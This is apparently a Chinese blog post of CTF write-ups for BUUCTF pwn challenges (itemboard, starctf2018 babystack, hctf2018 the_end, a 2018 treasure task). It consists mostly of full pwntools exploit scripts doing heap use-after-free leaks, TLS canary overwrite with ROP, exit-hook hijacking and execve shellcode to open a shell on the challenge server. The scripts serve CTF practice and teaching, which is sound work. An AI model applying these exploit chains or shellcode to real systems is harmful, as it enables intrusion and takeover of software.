我是f,这么简单都没看见,非要去完成namechunk的指针,。。。。。

#leak----》heap_base
create(b'aaa',0x60,b'aaaaa\n') #chunk 0 create(b'aaa',0x60,b'aaaaa\n') #chunk 1 delete(1) delete(0) show(0) p.recvuntil("Description:") heap=u64(p.recv(6).ljust(8,b'\x00')) print(hex(heap))
#leak--->pro_base
create(b'aaa',0x60,b'aaaaa\n') #chunk 0 create(b'aaa',0x60,b'aaaaa\n') #chunk 1 delete(0) delete(1) create(b'aaa',0x18,p64(heap-0xf0)+b'\n') show(0) p.recvuntil("Name:") pro_base=u64(p.recv(6).ljsut(8,b'\x00'))-0xb39 print(hex(pro_base))
#leak libcbase
delete(1) create(b'aaa',0x18,p64(pro_base+elf.got['puts'])+b'\n') #chunk 0 show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase))
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./itemboard"
#p=process(pwn)
p=remote("node5.buuoj.cn",29236)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(name,length,context):
     p.sendlineafter("choose:\n",str(1))
     p.sendlineafter("name?\n",name)
     p.sendlineafter("Description's len?\n",str(length))
     p.sendafter("Description?\n",context)

def lt():
     p.sendlineafter("choose:\n",str(2))

def show(index):
     p.sendlineafter("choose:\n",str(3))
     p.sendlineafter("item?\n",str(index))

def delete(index):
     p.sendlineafter("choose:\n",str(4))
     p.sendlineafter("item?\n",str(index))

#leak---->heap_addr
create(b'aaa',0x60,b'aaaaa\n') #chunk 0
create(b'aaa',0x60,b'aaaaa\n') #chunk 1
delete(1)
delete(0)
show(0)
p.recvuntil("Description:")
heap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(heap))
#leak--->pro_base
create(b'aaa',0x60,b'aaaaa\n') #chunk 2
create(b'aaa',0x60,b'aaaaa\n') #chunk 3
delete(0)
delete(1)
create(b'aaa',0x18,p64(heap-0xf0)+b'\n')  #chunk 4
show(0)
p.recvuntil("Name:")
pro_base=u64(p.recv(6).ljust(8,b'\x00'))-0xb39
print(hex(pro_base))
delete(1)
create(b'aaa',0x18,p64(pro_base+elf.got['puts'])+b'\n')  #chunk 5
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
create(b'aaa',0x60,b'aaaaa\n') #chunk 6
create(b'aaa',0x60,b'aaaaa\n') #chunk 7


create(b'a',0x20,b'a\n')  #chunk 8
create(b'a',0x20,b'a\n')  #chunk 9
create(b'a',0x10,b'a\n')  #chunk 10

delete(8)
delete(9)

payload=b'/bin/sh;'+b'a'*8+p64(sys_addr)+b'\n'
create(b'a',0x18,payload)
delete(8)
#debug()
p.interactive()

starctf2018_babystack

 在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bs"
#p=process(pwn)
p=remote("node5.buuoj.cn",29586)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.recvuntil('How many bytes do you want to send?\n')
pop_rdi=0x0000000000400c03
pop_rsi_r15=0x0000000000400c01
pop_rsp_r13_r14_r15=0x0000000000400bfd
p.sendline(str(0x1850))

#debug()
payload=b'a'*0x1008
payload+=p64(0xdeadbeef)   #0x1048 canary 
payload+=p64(0xbbbbbbbb)# ebp
payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602100)+p64(0)+p64(elf.plt['read'])
payload=payload.ljust(0x1060,b'c')+p64(pop_rsp_r13_r14_r15)+p64(0x602100)+p64(0)*3
#修改rsp
#ret of read 0x6021c8
payload=payload.ljust(0x1848,b'a')
payload+=p64(0xdeadbeef)#控制canary
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.symbols['puts']

system=libc.symbols['system']+libc_base
sleep(1)
payload=b'a'*0x18+p64(libc_base+0x4f322)
p.send(payload)
p.interactive()

hctf2018_the_end

 ida打开,程序直接可以进行五次任意地址写,因为libc为2.27.采取劫持exit_hook的方式

 exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

我们劫持__rtld_lock_unlock_recursive 而这个函数是在_rtld_global结构体中的一个函数。
偏移计算如下:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./the_end"
#p=process(pwn)
p=remote("node5.buuoj.cn",29036)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.recvuntil("a gift ")
libcbase=int(p.recv(14),16)-libc.sym['sleep']
print(hex(libcbase))
p.recv()
rtdl=libcbase+0x619060
rtld_lock_default_unlock_recursive=rtdl+0xf08
one=libcbase+0x4f322
#debug()
for i in range(5): 
         p.send(p64(rtld_lock_default_unlock_recursive+i))
         p.send(p8((one>>8*i)&0xff))

#p.sendline("exec /bin/sh 1>&0")
p.interactive()

鹏城杯_2018_treasure

 ida打开

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./2018_treasure"
#p=process(pwn)
p=remote("node5.buuoj.cn",27581)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendlineafter(b' :', b'y')
payload = asm('xchg rsi, rdx; syscall; call rsi')
p.sendafter(b'!!!!', payload)
sleep(2)
shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
p.sendline(b'a'*5 + shellcode)
p.interactive()

posted @ 2024-03-31 11:57  fheap  阅读(27)  评论(0编辑  收藏  举报